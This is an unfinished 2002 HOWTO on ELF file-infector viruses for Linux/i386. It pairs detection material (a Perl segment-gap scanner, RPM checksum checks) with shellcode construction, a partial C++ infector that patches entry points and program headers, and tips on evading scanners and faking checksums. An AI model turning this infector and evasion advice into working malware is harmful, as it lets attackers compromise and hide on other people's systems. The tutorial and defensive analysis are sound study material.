

# The Linux Virus Writing And Detection HOWTO

post-link-time code modification of ELF executables under Linux/i386

## Abstract

This document describes how to write parasitic file viruses infecting ELF executables on Linux/i386. Though it contains a lot of source code, no actual virus is included. Measurement is the foundation of science.

*Unfinished snapshot taken on 2002-03-15. I predict that today will be remembered until tomorrow.*

---

## Table of Contents

[Introduction](#)

[The magic of the Elf](#)

[readelf](#)

[One step closer to the edge](#)

[The entry point](#)

## Introduction

*In the tradition of [release early, release often](#) this document escaped version control at an immature stage. General direction and structure is not yet fixed. Big changes are likely. You might want to look at the discussion on [LDP-discuss](#). For the time being you will find complete source of this release and all previous versions [here](#).*

Writing a program that inserts code into another program file is one thing. Writing that program so that it can be injected itself is a very different art. Although this document shows a lot of code and technique, it is far from being a "Construction Kit For Dummies". Instead I'll try to show how things work. Translation of infecting code to assembly is left as a (non-trivial) exercise to the reader.

An astonishing number of people think that viruses require secret black magic. Here you will find simple code that patches other executables. But since regular users can't overwrite system files (we are talking about serious operating systems here) that is not even half the journey. To make any impact you need root permissions. Either by tricking the super user to run your virus, or combining it with a root-exploit. And since all popular distributions come with checksum mechanisms, a single command can detect any modification. Unless you implement kernel-level stealth functionality...

I do believe that free software is superior, at least in regard to security. And I strongly oppose the argument that Linux viruses will flourish once it reaches a critical mass of popularity. On the contrary I question the credibility of people whose income relies on widespread use of ridiculously insecure operating systems.

This document is my way to fight the [FUD](#). Use the information presented here in any way you like. I bet that Linux will only grow stronger.

## Behind the stages

All sections titled "Output" are real product of source code and shell scripts included in this document. Most numbers and calculations are processed by a perl-script parsing these output files. The document itself is written in [DocBook](#), a SGML document type definition. Conversion to HTML is the last step of a Makefile that builds and runs all examples.

I used an installation of [RedHat](#) 7.2 for development All required tools are contained on the [two freely downloadable CDs](#).

## Copyright Information

This document is copyrighted (c) 2002 Alexander Bartolich and is distributed under the terms of the Linux Documentation Project (LDP) license, stated below.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a

derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please contact <[linux-howto@metalab.unc.edu](mailto:linux-howto@metalab.unc.edu)>

## Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, the author does not take any responsibility.

*Who am I kidding? This is dangerous stuff! Stop reading immediately or risk lethal pollution of your systems!*

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

## New Versions

**2002-03-09.** Unfinished excerpt sent to Linux Documentation Project.

**2002-03-11.** Unfinished excerpt sent to Linux Documentation Project.

- Section [One step closer to the edge](#) rewritten & finished.

**2002-03-14.** Unfinished snapshot.

- Added epigraphs to all sections, removed one offending paragraph on the way.
- Added example for large scale scanning in [The plan](#).
- Started section [The entry point](#).
- Started [Credits](#).

**2002-03-15.** Unfinished snapshot.

- First working example in [The entry point](#).
- Lots of small fixes about everywhere.
- Renamed from "The Linux Virus Writing HOWTO".

## Credits

Everything in this document is either plain obvious or has been written by someone else long time ago. My meager contribution is nice formatting, reproducibility and the idea to take the subject to mainstream media. But I'm certainly not innovative.

**Silvio Cesare.** <[silvio@big.net.au](mailto:silvio@big.net.au)> Founder of the trade. Keeper of the source. Check out <http://www.big.net.au/~silvio> and admire the release date.

**John Reiser.** <[jreiser@BitWagon.com](mailto:jreiser@BitWagon.com)> Found one bug and two superfluous bytes in [In the language of evil](#). Proved that I can't code a straight 23 byte "Hello World".

## Feedback

Feedback is most certainly welcome for this document. Please send your additions, comments and criticisms to the following email address: <[alexander.bartolich@gmx.at](mailto:alexander.bartolich@gmx.at)>

---

[Next >>>](#)

The magic of the Elf

# The magic of the Elf

*Any sufficiently advanced technology is indistinguishable from magic.*

*Arthur C. Clarke*

## What exactly is a virus?

- A virus is a program that infects other programs stored on permanent media. Usually this means to copy the executable code of the virus into another file. Other possible targets are boot sectors and programmable ROMs.
- A worm is a program that penetrates other running programs. Penetration means to copy the executable code of the worm into the active process image of the host.
- A trojan program is deliberately started by a user because of advertised features, but performs some covert malicious actions.

The main difference between worms and viruses is persistence and speed. Modifications to files are usually permanent, i.e. they remain after reboot. On the other hand, a virus attached to a host can get active only when that host program is started. A worm takes immediate control of a running process and thus can propagate very fast.

Usually these techniques are combined to effectively cause mischief. Viruses can get resident, i.e. attach themselves to a part of the system that runs independent of the infected executable. Worms can modify system files to leave permanent back doors. And tricking the user into executing the very first infector is a lot easier than finding and exploiting buffer overflows.

## A small step for mankind

Building executables from C source code is a complex task. An innocent looking call of `gcc` will invoke a pre-processor, a multi-pass compiler, an assembler and finally a linker. Using all these tools to plant virus code into another executable makes the result either prohibitively large, or very dependent on the completeness of the target installation.

Real viruses approach the problem from the other end. They are aggressively optimized for code size and do only what's absolutely necessary. Basically they just copy one chunk of code and patch a few addresses at hard coded offsets.

However, this has drastic effects:

- Since we directly copy binary code, the virus is restricted to a particular hardware architecture.
- Code must be position independent.
- Code cannot use shared libraries; not even the C runtime library.
- We cannot allocate global variables in the data segment.

There are ways to circumvent these limitations. But they are complicated and make the virus more likely to fail.

For the first example I'll present the simplest piece of code that still gives sufficient feedback. Our aim is to implant it into **/bin/sh**. On practically every recent installation of Linux/i386 the following code will emit three magic letters instead of just dumping core.

## In the language of mortals

### Source.

```
#include <unistd.h>
int main() { write(1, (void*)0x08048001, 3); return 0; }
```

### Command.

```
#!/bin/sh
gcc -Wall -O2 src/magic_elf/magic_elf.c -o tmp/magic_elf/magic_elf \
&& tmp/magic_elf/magic_elf
```

### Output.

```
ELF
```

## How it works

### Digested answer

The three letters are part of the signature of ELF files. Executables created by **ld** are always mapped into the same memory region. That's why the program can find its own header at a predictable virtual address.

### Short answer

RTFM.

The raw details are in `/usr/include/elf.h`. The canonical document describing the ELF file format for Intel-386 architectures can be found at <ftp://tsx.mit.edu/pub/linux/packages/GCC/ELF.doc.tar.gz>. A flat-text version is <http://www.muppetlabs.com/~breadbox/software/ELF.txt>. And finally <http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html> humorously describes how far you can bend the rules to reach minimal size.

## Sort of an answer

0x8048000 is not a natural constant, but happens to be the default base address of ELF executables produced by **ld**. As of version 2.11 of binutils it should be possible to change that with options `-Ttext` `ORG` and `--section-start SECTIONNAME=ORG`, but I didn't get it working. Anyway, the layout of executables produced by **ld** is straight forward.

1. One ELF header - `Elf32_Ehdr`
2. Program headers - `Elf32_Phdr`
3. Program interpreter (not if statically linked)
4. Code
5. Data
6. Section headers - `Elf32_Shdr`

Everything from the start of the file to the last byte of code is loaded into one segment (named "code" or "text") that begins at the base address. There is a whole section called [readelf](#) describing a command to view all these details. In the meantime I will show fancy ways to get by without.

## Showing off some tools

What would you do if you knew nothing about ELF and just asked yourself how that example works? How can you go sure that the executable file really contains those three letters?

A good start for finding text in binary files is **strings**.

### Command.

```
#!/bin/sh
# without "-a -n 3" we don't get any output
strings -a -n 3 tmp/magic_elf/magic_elf | grep -n ELF
```

### Output.

```
1:ELF
```

The leading `1:` is written by **grep** and tells that our three-letter word is the first found string. This gives some help where we can find it in a hex dump. It is difficult to search strings in such a dump because of the line breaks. Interactive tools like **hexedit** might be useful.

### Command.

```
#!/bin/sh

# select ASCII characters or backslash escapes (octal)
od -N 16 -c tmp/magic_elf/magic_elf | head -1

# named characters (ASCII)
od -N 16 -a tmp/magic_elf/magic_elf | head -1

# plain bitwise hex
od -N 16 -t x1 tmp/magic_elf/magic_elf | head -1
```

### Output.

```
0000000 177  E  L  F 001 001 001  \0  \0  \0  \0  \0  \0  \0  \0  \0
0000000 del  E  L  F soh soh soh nul nul nul nul nul nul nul nul
0000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
```

At this point we can guess that file offset `1` and `0x8048000 + 1` are not coincidental. A test program might help.

### Source.

```
#include <stdio.h>

int main()
{
    printf("0x08048000=%#02x\n", *(unsigned char*)0x08048000);
    printf("0x08048001=%.3s\n", (char*)0x08048001);
    printf("main=%p\n", main);
    return 0;
}
```

### Output.

```
0x08048000=0x7f
0x08048001=ELF
main=0x8048460
```

Looks good. The byte at address `0x8048000 + 0` is equal to that at file offset 0. And the address of function `main` is plausible.

### Command.

```
#!/bin/sh
ndisasm -e 0x460 -U tmp/magic_elf/magic_elf | sed -e '/ret/q'
```

### Output.

```
00000000  55                push ebp
00000001  89E5              mov ebp,esp
00000003  83EC0C           sub esp,byte +0xc
00000006  6A03             push byte +0x3
00000008  6801800408       push dword 0x8048001
0000000D  6A01             push byte +0x1
0000000F  E8A4FEFFFFFF     call 0xfffffeb8
00000014  31C0             xor eax,eax
00000016  C9               leave
00000017  C3               ret
```

Both programs have `main` at the same file offset. Unfortunately a brief look through `/bin` proves this to be pure chance. The really bad news is the generated code, however. Instead of a real system call for `write` we see a strange negative address. Let's have another try.

### Command.

```
#!/bin/sh
gdb tmp/magic_elf/magic_elf -q <<EOT | sed -ne '/:$/,/ret *$/p'
    break main
    run
    disassemble
EOT
```

### Output.

```
(gdb) Dump of assembler code for function main:
0x8048460 <main>:      push   %ebp
0x8048461 <main+1>:      mov    %esp,%ebp
0x8048463 <main+3>:      sub    $0xc,%esp
0x8048466 <main+6>:      push   $0x3
0x8048468 <main+8>:      push   $0x8048001
0x804846d <main+13>:     push   $0x1
0x804846f <main+15>:     call   0x8048318 <write>
0x8048474 <main+20>:     xor    %eax,%eax
0x8048476 <main+22>:     leave
0x8048477 <main+23>:     ret
```

That strange negative address resolves to a function in a shared library. Not shown is a pathetic attempt to single-step to the actual code of `write`.

## In the language of evil

The code generated by `gcc` is not suitable for a virus. So here comes hand crafted code optimized for size. I prefer [nasm](#) to GNU `as`.

### Source.

```

                global  _start
_start:
    push   byte 4
    pop    eax           ; eax = 4 = write(2)
    xor    ebx,ebx
    inc    ebx           ; ebx = 1 = stdout
    mov    ecx,0x08048001 ; ecx = magic address
    push   byte 3
    pop    edx           ; edx = 3 = three characters
    int   0x80

    xor    eax,eax
    inc    eax           ; eax = 1 = exit(2)
    xor    ebx,ebx       ; ebx = 0 = return code
    int   0x80
```

### Command.

```
#!/bin/sh
nasm -f elf -o tmp/evil_magic/nasm.o src/evil_magic/evil_magic.asm \
&& ld -o tmp/evil_magic/nasm tmp/evil_magic/nasm.o \
&& tmp/evil_magic/nasm
```

## Output.

```
ELF
```

Output is good. But how do we get the resulting machine code? We can't just add a call to `printf(3)` to the assembly code. Above example is not linked with `glibc`; it does not even have a function called `main`.

## Entry point

On the other hand things became a lot easier. There is no initialization code that gets executed before `_start`, so the address of `_start` is really the ELF entry point of the executable. A look into `/usr/include/elf.h` shows that `Elf32_Ehdr::e_entry` is at file offset 24.

## Command.

```
#!/bin/sh
od -Ad -j24 -w4 -tx4 tmp/evil_magic/nasm | head -1
```

## Output.

```
0000024 08048080
```

The entry point is specified as a virtual address in memory. By subtracting the base address we get the file offset:

$$0x08048080 - 0x8048000 = 0x80$$

## Resulting code

## Command.

```
#!/bin/sh
ndisasm -e 0x80 -U tmp/evil_magic/nasm | head -12
```

## Output.

```
00000000  6A04          push byte +0x4
00000002  58           pop  eax
00000003  31DB          xor  ebx,ebx
00000005  43           inc  ebx
00000006  B901800408   mov  ecx,0x8048001
0000000B  6A03          push byte +0x3
0000000D  5A           pop  edx
0000000E  CD80          int  0x80
00000010  31C0          xor  eax,eax
00000012  40           inc  eax
00000013  31DB          xor  ebx,ebx
00000015  CD80          int  0x80
```

That's the code we need. There is just one thing left: Dressing up the hex dump as C source. A filter written in **perl** will do.

## Filter.

```
#!/usr/bin/perl -sw
use strict;

$::identfier = 'main' if (!defined($::identfier));
$::size = '' if (!defined($::size));

printf "const unsigned char %s[%s] =\n", $::identfier, $::size;
while(<>)
{
    chomp;
    my @word = split;
    my $code = $word[1];

    my $escape = '';
    for(my $i = 0; $i < length($code); $i += 2)
    {
        $escape .= '\\\x' . substr($code, $i, 2);
    }
    $escape .= '';
    s/\s+[\^\s]*\s+/: /;
    printf " %-24s /* %-30s */\n", $escape, $_;
```

```
}  
print "  ;\n";
```

## Output.

```
const unsigned char main[] =  
  "\x6A\x04" /* 00000000: push byte +0x4 */  
  "\x58" /* 00000002: pop eax */  
  "\x31\xDB" /* 00000003: xor ebx,ebx */  
  "\x43" /* 00000005: inc ebx */  
  "\xB9\x01\x80\x04\x08" /* 00000006: mov ecx,0x8048001 */  
  "\x6A\x03" /* 0000000B: push byte +0x3 */  
  "\x5A" /* 0000000D: pop edx */  
  "\xCD\x80" /* 0000000E: int 0x80 */  
  "\x31\xC0" /* 00000010: xor eax,eax */  
  "\x40" /* 00000012: inc eax */  
  "\x31\xDB" /* 00000013: xor ebx,ebx */  
  "\xCD\x80" /* 00000015: int 0x80 */  
  ;
```

Calling the string constant main is not a mistake. Above output is a complete and valid C program.

## Command.

```
#!/bin/sh  
gcc -Wall -O2 out/evil_magic/evil_magic.c -o tmp/evil_magic/cc \  
&& tmp/evil_magic/cc
```

## Output.

```
out/evil_magic/evil_magic.c:1: warning: `main' is usually a function  
ELF
```

# Other roads to ELF

## Source.

```
#!/usr/bin/perl -w
syscall 4, 1, 0x8048001, 3
```

### Output.

```
ELF
```

### Command.

```
#!/bin/sh
dd if=/proc/self/mem bs=1 skip=134512641 count=3 2>/dev/null
```

### Output.

```
ELF
```

### Command.

```
#!/bin/sh
dd if=/proc/self/exe bs=1 skip=1 count=3 2>/dev/null
```

### Output.

```
ELF
```

# readelf

*Outside of a dog, a book is a man's best friend. Inside a dog  
it's too dark to read.*

*Groucho Marx*

Let's get a bit more serious and examine the assembly program from [In the language of evil](#) with **readelf**, part of the binutils package.

## Command.

```
#!/bin/sh
strip tmp/evil_magic/nasm
ls -l tmp/evil_magic/nasm
readelf -l tmp/evil_magic/nasm
```

## Output.

```
-rwxrwxr-x    1 alba    alba          476 Mar 15 22:02 tmp/evil_magic/nasm

Elf file type is EXEC (Executable file)
Entry point 0x8048080
There are 1 program headers, starting at offset 52

Program Header:
  Type           Offset       VirtAddr     PhysAddr     FileSiz MemSiz  Flg Align
  LOAD           0x000000    0x08048000   0x08048000   0x00097 0x00097  R E  0x1000

Section to Segment mapping:
Segment Sections...
 00      .text
```

Nice to see the [entry point](#) we retrieved through **od** again. Program layout is a simplified variation of [Sort of an answer](#). The value of `FileSiz` includes ELF header and program header. The size of this overhead is:

$$\text{overhead} = \text{Entry point} - \text{VirtAddr} = 0x08048080 - 0x08048000 = 0x80 \text{ bytes}$$

So effective code size is:

$$\text{code size} = \text{FileSiz} - \text{overhead} = 0x97 - 0x80 = 0x17 = 23 \text{ bytes}$$

This matches with the [disassembly listing](#). However, the ratio of file size to effective code deserves the title "Bloat", with capital B.

code size / file size = 23 / 476 = 0.048

Only 5 percent of the file actually do something useful!

Anyway, we see that even for trivial examples the code is surrounded by lots of other stuff. Let's zoom in on our target.

## Bashful glance

### Command.

```
#!/bin/sh
ls -l /bin/bash
readelf -l /bin/bash
```

### Output.

```
-rwxr-xr-x  1 root  root  519964 Jul  9  2001 /bin/bash

Elf file type is EXEC (Executable file)
Entry point 0x8059380
There are 6 program headers, starting at offset 52

Program Headers:
  Type           Offset       VirtAddr     PhysAddr     FileSiz MemSiz  Flg Align
  PHDR           0x000034    0x08048034   0x08048034   0x000c0 0x000c0  R E  0x4
  INTERP        0x0000f4    0x080480f4   0x080480f4   0x00013 0x00013  R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD          0x000000    0x08048000   0x08048000   0x79273 0x79273  R E  0x1000
  LOAD          0x079280    0x080c2280   0x080c2280   0x057e0 0x09bd0  RW  0x1000
  DYNAMIC       0x07e980    0x080c7980   0x080c7980   0x000e0 0x000e0  RW  0x4
  NOTE         0x000108    0x08048108   0x08048108   0x00020 0x00020  R   0x4

Section to Segment mapping:
Segment Sections...
 00
 01  .interp
 02  .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_r
.rel.got .rel.bss .rel.plt .init .plt .text .fini .rodata
 03  .data .eh_frame .ctors .dtors .got .dynamic .bss
 04  .dynamic
 05  .note.ABI-tag
```

Looks intimidating. But then the ELF specification says that only segments of type "LOAD" are considered for execution. Since the flags of the first one are R E, meaning "read & execute", we know that it must be the code segment. The other one has RW, meaning "read & write", so it must be the data segment.

MemSiz is larger than FileSiz in the data segment. Just like with `mmap(2)` excessive bytes are defined to be initialized with 0. The linker takes advantages of that by grouping all variables that should be initialized to zero at the end. Note that the last section of segment 3 (counting starts with 0) is called `.bss`, the traditional name for this kind of area.

The mapping for segment 2 looks even more complex. But I would guess that `.rodata` means "read-only data" and `.text` contains productive code, as opposed to the administrative stuff in the other sections.

## Turn the pages

The distance between the two LOAD segments is interesting:

```
VirtAddr[2] - VirtAddr[1] - FileSiz[1] = 0x80c2280 - 0x8048000 - 0x79273 = 0x100d = 4109
bytes
```

Only 13 bytes (0xd) would be needed to align the first LOAD segment up to the alignment of 0x1000. For some reason at least one complete page lies between code segment and data segment. This would be easy target for a tiny virus. So lets check out whether this is a unique phenomenon.

### Source.

```
#!/usr/bin/perl -w
use strict;

my $min = 0xFFFFFFFF;
my $max = 0;
while(my $filename = <>)
{
    chomp $filename;
    open(ELF, '-|', "readelf -l $filename 2>&1") || die "$1 ($filename)";

    my $nrLoad = 0;
    my $end = 0;
    while(my $line = <ELF>)
    {
        chomp $line;
        if ($line =~ m/^\s*LOAD\s*/)
        {
            $nrLoad++;

            my @number = split / +/, $line;
            my $virtaddr = hex($number[3]);
            my $filesiz = hex($number[5]);

            if ($end != 0)
            {
                my $dist = $virtaddr - $end;
                if ($dist < 0x1000)
                {
                    printf "%-32s virtaddr=%#08x dist=%#08x\n",
                        $filename, $virtaddr, $dist;
                }
                $max = $dist if ($dist > $max);
                $min = $dist if ($dist < $min);
            }
            $end = $virtaddr + $filesiz;
        }
    }
}
```

```

}
if ($nrLoad != 2)
{
    printf "%-32s has %d LOAD segments.\n", $filename, $nrLoad;
}
close ELF;
}
printf "\n%d files; min_distance=%#08x max_distance=%#08x\n",
    $., $min, $max;

```

## Command.

```

#!/bin/sh
find /bin -type f -maxdepth 1 | src/check_dist/check_dist.pl
echo ""
echo tmp/evil_magic/nasm | src/check_dist/check_dist.pl

```

## Output.

```

/bin/igawk                has 0 LOAD segments.
/bin/vimtutor             has 0 LOAD segments.

73 files; min_distance=0x001000 max_distance=0x00101f

tmp/evil_magic/nasm      has 1 LOAD segments.

1 files; min_distance=0xffffffff max_distance=00000000

```

Yes, this empty page is common usage, at least in /bin.

## The plan

You may have heard that Linux is a difficult target for [malware](#) because there are so many different distributions. Well, basically they all use the same compiler, producing the same idiosyncrasies. This allows us to cheat in big style.

1. Insert our code between code segment and data segment.
2. Modify inserted code to jump to original entry point afterwards.
3. Change entry point to start of our code.
4. Modify program header
  - a. To include increased amount of code in entry of code segment.
  - b. To move all following entries down the file.
5. Move all following sections down the file.

This setup has two big problems, however.

- Code size is limited to 0x1000 bytes. Manageable with assembly. Tough luck for C.

- Infected executables will be detected by [above perl script](#). Yes, I actually wrote the scanner before the virus. The truly paranoid doesn't trust himself.

Of course the naive implementation through parsing `readelf`'s output significantly limits performance. But use of `file` as a fast file-type filter will lower noise ("has 0 LOAD segments") and duration to acceptable regions.

### Command.

```
#!/bin/sh
find /usr/bin -type f -maxdepth 1 -print0 \
| xargs -r0 file -i \
| sed -ne 's/: *application\/x-executable-file,.*//p' \
| src/check_dist/check_dist.pl
```

### Output.

```
file: Using regular magic file `/usr/share/magic.mime'
file: Using regular magic file `/usr/share/magic.mime'

1031 files; min_distance=0x001000 max_distance=0x00101f
```

## Paranoid android

Since all executables in `/bin` and `/usr/bin` follow the same layout, a heuristic scanner can easily spot deviations. A "perfect infection", resulting in a executable indistinguishable from the real thing, is well beyond the scope of this document. But then there are bigger issues an innocent virus seeking a warm nest in the wild would face.

For example RPM-based distributions maintain a checksum database. Verifying a single file, a complete package, or even all installed packages takes just one command.

If you know what you are looking for:

```
rpm --verify -f /bin/sh
```

For dedicated people with enough time to read the output:

```
/bin/nice -n 19 rpm --verify --all
```

A possible counter attack is to patch the database after infection. This is distribution dependent and requires root permissions. And it won't help against people who have the checksums offline, e.g. with [tripwire](#).

Another possible attack is to hide the original (uninfected) executable on the file system, and patch the kernel via an inserted module to fake calculation of the checksum. And if the kernel is compiled without module-support, there is still direct access to `/dev/kmem` to install a kernel-patch...

On this road lies madness.

---

[<<< Previous](#)

[Home](#)

[Next >>>](#)

The magic of the Elf

One step closer to the edge

# One step closer to the edge

*Don't be too proud of this technological terror you've constructed. The ability to destroy a planet is insignificant next to the power of the Force.*

*Darth Vader*

This section is about a first stage infector. A program that inserts [our code](#) into any executable we specify on the command line.

This code could easily be squeezed into a single function. But for clarity I split it into parts that manipulate a central data structure. And just for the hell of it I coded it in C++. This way I can present the pieces in random order.

## Source - class Target.

```
#include <elf.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string>

class Target
{
public:
    Target(const char* filename);
    ~Target();
    bool isOpen() { return fd_dst != -1; }
    bool isSuitable();
    bool patchEntryAddr();
    bool patchPhdr();
    bool patchShdr();
    bool copyAndInfect();

private:
    enum { INFECTION_SIZE = 0x1000 };
    static const unsigned char infection[INFECTION_SIZE + 1];

    int fd_dst; /* opened write-only */
    int fd_src; /* opened read-only */

    off_t filesize;

    /* start of memory-mapped image, b means byte */
    union { void* v; unsigned char* b; Elf32_Ehdr* ehdr; } p;

    /* offset to first program header (in file) */
    Elf32_Phdr* phdr;
```

```

/* offset to first byte after code segment (in file) */
size_t top;

/* start of host code (in memory) */
Elf32_Addr original_entry;
};

```

## INFECTION\_SIZE

The value of `INFECTION_SIZE` exceeds actual code size by far. But it is the only amount that works. The reason for this is buried in the [ELF specification](#).

[...] executable and shared object files must have segment images whose file offsets and virtual addresses are congruent, modulo the page size.

Virtual addresses and file offsets for the SYSTEM V architecture segments are congruent modulo 4 KB (0x1000) or larger powers of 2. Because 4 KB is the maximum page size, the files will be suitable for paging regardless of physical page size. [...]

Let's take another look at the [output of readelf](#). Above quote means that the last three digits of `Offset` must equal the last three digits of `VirtAddr`. This is the case for every program header.

So unless we change `VirtAddr` as well (which means relocation of every access to a global variable), we are stuck with 0x1000.

## Target::infection

Up to now [our code](#) is intended to be stand-alone. The obvious fix is to replace the call to `exit(2)` with a `jmp`. But I think it's a better idea to let our code end with an unsuspecting `ret` instead. And we can put the matching `push` at the start of the code to have the actual return address at a constant location. And while we are at it, saving all registers and the flags can't be bad.

**Source - infection.asm.**

```

BITS 32

push    dword 0           ; replace with original entry address
pushf
pusha

push    byte 4
pop     eax               ; eax = 4 = write(2)
xor     ebx,ebx
inc     ebx               ; ebx = 1 = stdout
mov     ecx,0x08048001    ; ecx = magic address
push    byte 3
pop     edx               ; edx = 3 = three characters
int     0x80

popa
popf

```

```
ret
```

## Command.

```
#!/bin/sh
nasm -f bin src/one_step_closer/infection.asm \
      -o tmp/one_step_closer/infection
ndisasm -U tmp/one_step_closer/infection \
| src/evil_magic/ndisasm.pl \
  '-identifier=Target::infection' \
  '-size=INFECTIION_SIZE + 1'
```

## Output - infection.c.

```
const unsigned char Target::infection[INFECTIION_SIZE + 1] =
  "\x68\x00\x00\x00\x00" /* 00000000: push dword 0x0 */
  "\x9C" /* 00000005: pushf */
  "\x60" /* 00000006: pusha */
  "\x6A\x04" /* 00000007: push byte +0x4 */
  "\x58" /* 00000009: pop eax */
  "\x31\xDB" /* 0000000A: xor ebx,ebx */
  "\x43" /* 0000000C: inc ebx */
  "\xB9\x01\x80\x04\x08" /* 0000000D: mov ecx,0x8048001 */
  "\x6A\x03" /* 00000012: push byte +0x3 */
  "\x5A" /* 00000014: pop edx */
  "\xCD\x80" /* 00000015: int 0x80 */
  "\x61" /* 00000017: popa */
  "\x9D" /* 00000018: popf */
  "\xC3" /* 00000019: ret */
;
```

You might wonder why the character array has `INFECTIION_SIZE + 1` elements. Well, infective code can grow to exactly `INFECTIION_SIZE` bytes, and string constants need one additional byte for zero-termination. And should the code ever exceed that limit the compiler will issue an error.

## main

Nothing special here. Though you could object to the use of `fprintf(3)` instead of `cerr`. But then  `perror(3)` is the only type of diagnostic message you will find below.

## Source - main.

```

int main(int argc, char** argv)
{
    char** pp = argv;
    const char* p;
    while(0 != (p = *++pp))
    {
        fprintf(stderr, "Infecting %s... ", p);
        Target target(p);
        if (target.isOpen()
            && target.isSuitable()
            && target.patchEntryAddr()
            && target.patchPhdr()
            && target.patchShdr()
            && target.copyAndInfect()
        )
            fprintf(stderr, "Ok\n");
    }
    return 0;
}

```

## The opening

Modifying a file in place, as opposed to writing a copy, is possible but difficult. And between first and final modification contents of the target is invalid. Imagine a worst-case scenario of a virus infecting `/bin/sh` being interrupted through a power failure (or emergency shutdown of a hectic admin).

There are a few approaches to change a file while copying.

- Use `lseek(2)`, `read(2)` and `write(2)` to load pieces of the source into memory, patch them, and write them to destination. A lot of work. Can be really inefficient.
- Use `read(2)` to get the whole source file in one go. Requires more memory. But then even the largest executable files have only a few MB.
- Use `mmap(2)`. In my humble opinion obviously the best way. But then <http://www.securiteam.com/unixfocus/5MP022K5GE.html> actually shows lame `fseek(3)`.

Using `MAP_PRIVATE` for argument `flags` of `mmap(2)` activates copy-on-write semantics. You can read and write as if you had chosen the read-in-one-go method, but the implementation is more efficient. Unmodified pages are loaded directly from the file. On low memory conditions these pages can be discarded without saving them in swap-space.

**Source - Constructor.**

```

Target::Target(const char* src_filename)
: fd_dst(-1), fd_src(-1)
{
    const char* base = strrchr(src_filename, '/');
    std::string dst_filename(base == 0 ? src_filename : base + 1);
    dst_filename += "_infected";

    fd_src = open(src_filename, O_RDONLY);
    if (fd_src >= 0)
    {
        filesize = lseek(fd_src, 0, SEEK_END);
        if ((off_t)-1 != filesize)
        {
            p.v = mmap(0, filesize, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd_src, 0);
            if (MAP_FAILED != p.v)
            {
                fd_dst = open(dst_filename.data(), O_WRONLY | O_CREAT | O_TRUNC, 0775);
                if (fd_dst >= 0)
                    return;
                perror("open");
            }
            else
                perror("mmap");
        }
        else
            perror("lseek");
    }
    else
        perror("open");
}

```

### Source - Destructor.

```

Target::~~Target()
{
    if (p.v != 0)
        munmap(p.v, filesize);
    close(fd_src);
    close(fd_dst);
}

```

## isSuitable

A visible virus is a dead virus. Breaking things is quite the opposite of invisibility. So before you think about polymorphism and stealth mechanisms you should go sure your code does nothing unexpected.

On the other hand exhaustive checks of target files will severely increase code size. And verifying signatures and other constant values is likely to make the virus code itself a constant signature. A better approach is to compare the target with the host executable currently running the virus.

A related issue is avoidance of multiple infections. It might take a while until increased file size gets noticed. But imagine a

/bin/sh infected with a few dozen instances of the same virus. The runtime overhead of all these instances trying to find and infect other executables (either sequentially or in parallel forked processes) will significantly slow down every single shell script.

Obviously any presence indicator can be used by heuristic scanners. My recommendation is to use an innocent property that could also be matched by regular executables. It is not a problem if your checking routine rejects some suitable targets.

For this example I just declare a bug to be a feature. Since [INFECTION\\_SIZE](#) is required to be 0x1000 bytes, a duplicate infection is impossible by design.

### Source - isSuitable.

```
bool Target::isSuitable()
{
    enum
    {
        CMP_SIZE_1 = offsetof(Elf32_Ehdr, e_entry),
        CMP_SIZE_2 = offsetof(Elf32_Ehdr, e_shentsize)
        - offsetof(Elf32_Ehdr, e_flags)
    };
    Elf32_Ehdr* self = (Elf32_Ehdr*)0x8048000;
    Elf32_Phdr* self_phdr = (Elf32_Phdr*)((char*)self + self->e_phoff);
    phdr = (Elf32_Phdr*)(p.b + p.ehdr->e_phoff);

    if (0 != memcmp(&p.ehdr->e_ident, &self->e_ident, CMP_SIZE_1))
        return false;
    if (p.ehdr->e_phoff != self->e_phoff)
        return false;
    if (0 != memcmp(&p.ehdr->e_flags, &self->e_flags, CMP_SIZE_2))
        return false;

    /* the type of these headers must be PT_LOAD */
    if (phdr[2].p_type != self_phdr[2].p_type)
        return false;
    if (phdr[3].p_type != self_phdr[3].p_type)
        return false;

    /* a code segment with trailing 0-bytes makes no sense, anyway */
    if (phdr[2].p_filesz != phdr[2].p_memsz)
        return false;

    top = phdr[2].p_offset + phdr[2].p_filesz;

    /* distance between code and data segment (in memory) */
    size_t delta = phdr[3].p_vaddr - phdr[2].p_vaddr - phdr[2].p_memsz - 1;
    return delta >= INFECTON_SIZE;
}
```

## Patch entry address

Without this function the behavior of the target is not modified. This can be used for vaccination, in the true meaning of the word: Infection with a deactivated mutation makes the target immune against less friendly attackers.

### Source - patchEntryAddr.

```
bool Target::patchEntryAddr()
{
    original_entry = p.ehdr->e_entry;
    p.ehdr->e_entry = phdr[2].p_vaddr + phdr[2].p_filesz;
    return true; /* this implementations can't fail */
}
```

## Patching program headers

### Source - patchPhdr.

```
bool Target::patchPhdr()
{
    phdr[2].p_filesz += INFECTION_SIZE;
    phdr[2].p_memsz += INFECTION_SIZE;

    unsigned nr = p.ehdr->e_phnum;
    Elf32_Phdr* entry = phdr;
    while(nr-- > 0)
    {
        if (entry->p_offset > top)
            entry->p_offset += INFECTION_SIZE;
        entry++;
    }
    return true; /* this implementations can't fail */
}
```

